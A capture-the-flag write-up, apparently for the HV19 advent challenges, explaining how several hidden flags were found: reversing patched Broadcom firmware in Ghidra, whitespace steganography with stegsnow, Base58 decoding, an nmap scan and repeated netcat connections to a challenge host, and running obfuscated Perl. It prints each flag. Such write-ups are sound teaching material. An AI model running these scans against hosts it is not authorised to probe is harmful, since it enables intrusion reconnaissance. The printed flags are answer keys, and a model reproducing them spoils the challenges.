Roses are red, Violets are blue, DrSchottky loves hooking ioctls, why shouldn't you?
Okay so probably ioctl is somehow involved? Let's do some more investigation. Nexmon was used to create this binary. It's a firmware patching framework for Broadcom Chips, developed by TU Darmstadt (๐Ÿ˜€) among others. The repository includes a firmware file similar to our given one, which is also last modified in August 2017 (compare strings output). If we compare the file from the repository with our file bytes-wise, we can see, that mainly our file has some extra code at the end of the file. Importing it in Ghidra using ARM Cortex little endian as instruction set, we can analyze this extra code.
undefined4 FUN_00058dd8(undefined4 param_1,int param_2,undefined4 param_3,undefined4 param_4,undefined4 param_5) {
  FUN_00058d9c(param_3,param_4);
  uStack56 = *(undefined4 *)PTR_DAT_00058e84;
  uStack52 = *(undefined4 *)(PTR_DAT_00058e84 + 4);
  uStack48 = *(undefined4 *)(PTR_DAT_00058e84 + 8);
  uStack44 = *(undefined4 *)(PTR_DAT_00058e84 + 0xc);
  uStack40 = *(undefined4 *)(PTR_DAT_00058e84 + 0x10);
  auStack36[0] = *(undefined4 *)(PTR_DAT_00058e84 + 0x14);
  if (param_2 == 0xcafe) {
    func_0x00803cd4(param_3,PTR_s_Um9zZXMgYXJlIHJlZCwgVmlvbGV0cyBh_00058e90,param_4);
    return 0;
  }
  if (param_2 != 0xd00d) {
    if (param_2 != 0x1337) {
      uVar1 = func_0x0081a2d4(param_1,param_2,param_3,param_4,param_5);
      return uVar1;
    }
    pbVar3 = &bStack57;
    pbVar2 = DAT_00058e88;
    do {
      pbVar3 = pbVar3 + 1;
      pbVar2 = pbVar2 + 1;
      *pbVar3 = *pbVar2 ^ *pbVar3;
    } while (pbVar3 != (byte *)((int)auStack36 + 2));
    func_0x00803cd4(param_3,&uStack56,param_4);
    return 0;
  }
  FUN_00002390(PTR_DAT_00058e8c,0x800000,0x17);
  return 0;
}
FUN_00058dd8 Has 5 parameters in total. I assume it's some ioctl function, as it's never used in the binary and the parameters might match: int param_2 is some input parameter which controls what the function is doing, e.g. for 0xcafe the base64 string is somehow involved, for 0x1337 a buffer is xored and so on. If none of the hexadecimal values matched, a default-like function func_0x0081a2d4 is called with all parameters. param_3 could be an output parameter, as it's passed to func_0x00803cd4 when a string or buffer is involved. Unfortunately, the called functions are out of the address space of our binary, so there is a piece missing.
Following this great article a firmware is contains two parts: RAM and ROM. As we can see in section III. 1) we already have the RAM, so all we need is the ROM. After some research and address checking, I found the ROM in another repository of Seemo Lab. We have to import it with base address 0x80000000 as written in the article. Now the functions can be found, e.g. SUB_00803cd4 โ†’ 0x80003cd4. SUB_00803cd4 seems to be a basic string copy. This matches without assumoption, that param_3 is an output buffer. Let's focus on that XOR loop. We can see that the left operand of XOR is a constant pushed on the Stack: 24 bytes starting from DAT_00058e9. The other operand Starts right above (or before?) the first operand, but looking at the data view, no data is there. This is because it will be written with FUN_00002390(PTR_DAT_00058e8c,0x800000,0x17) before. This funciton is huge, but it basically copies 0x17 bytes from 0x800000 (start of ROM) to PTR_DAT_00058e8c (2nd operand).
Now we got all ingredients, left operand on the stack, right operand in the beginning of the ROM. XORing them leads us to the final flag.
Flag: HV19{Y0uw3n7FullM4Cm4n}
[text/x-python icon] Python script
The solutions were also hidden inside the text similar to bacon's cipher. We can see, that the textare below contains hidden characters, by selecting everything. We can copy these text and save it to a file. After some research and finding out, that it's not Whitespace Code or a simple ASCII encoding or Bacon Cipher, I found this tool: Stegsnow. Now we can extract the hidden content using following command, which leads us to the flag
$ stegsnow -C whitespace.txt
HV19{1stHiddenFound}
Flag: HV19{1stHiddenFound}
When solving the challenge of day 7, we can download the video directly from the media player or, for 'easy download', as a zip file from the link below the video. Comparing the filenames from the media player and the zip, we will see, that inside the zip, there is a different name than an uuid is used. At first glance it looks like Base64, but it didn't show anything useful. Using CyberChef's Magic Tool, we get a list of possible decodings. With Base58 decoding, the hidden flag is:
Flag: HV19{Dont_confuse_0_and_O}
After the first challenge using http://whale.hacking-lab.com was released, we could use a nmap scan, to see, what else was running there:
$ nmap -p- -sV whale.hacking-lab.com -A -T 5
Starting Nmap 7.80 ( https://nmap.org ) at (...)
Nmap scan report for whale.hacking-lab.com (80.74.140.188)
Host is up (0.041s latency).
rDNS record for 80.74.140.188: urb80-74-140-188.ch-meta.net
Not shown: 65525 filtered ports
PORT STATE SERVICE VERSION
17/tcp open qotd?
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
(...)
8888/tcp open http Apache Tomcat 9.0.20
(...)
We see an odd open port 17/tcp with probably a service called qotd which is quote of the day, which fits to the challenge description. We also see an open ssh port, the other challenges port and a lot of closed ports, which are uninteresting for us, so let's focus on port 17.
Let's have a look what it gives us, if we just connect to it:
$ nc http://whale.hacking-lab.com 17
4
Just one character? And the connection is closed immediately? The description told us that not each quote is complete(?), let's just try it again after some time
$ nc http://whale.hacking-lab.com 17
g
So the output depends on the time, the request is made. Let's repeat that for every hour, we can simply make a cronjob which calls our script: @hourly hidden3.py flag.txt. We can obtain the flag after 24h:
Flag: HV19{an0ther_DAILY_fl4g}
[text/x-python icon] Python script
The last hidden flag can be found in the solution of the same day's challenge, when it was released. Looking at the flag of day 14, we notice, that the content looks weird (no leet or something). As the challenge was dealing with obfuscated perl code and the __DATA__ section contains the string "Only perl can parse Perl!". So as we enter the content into a perl interpreter, the hidden flag is printed:
$ perl input.pl
Squ4ring the Circle
Flag: HV19{Squ4ring the Circle}
[application/x-perl icon] Perl script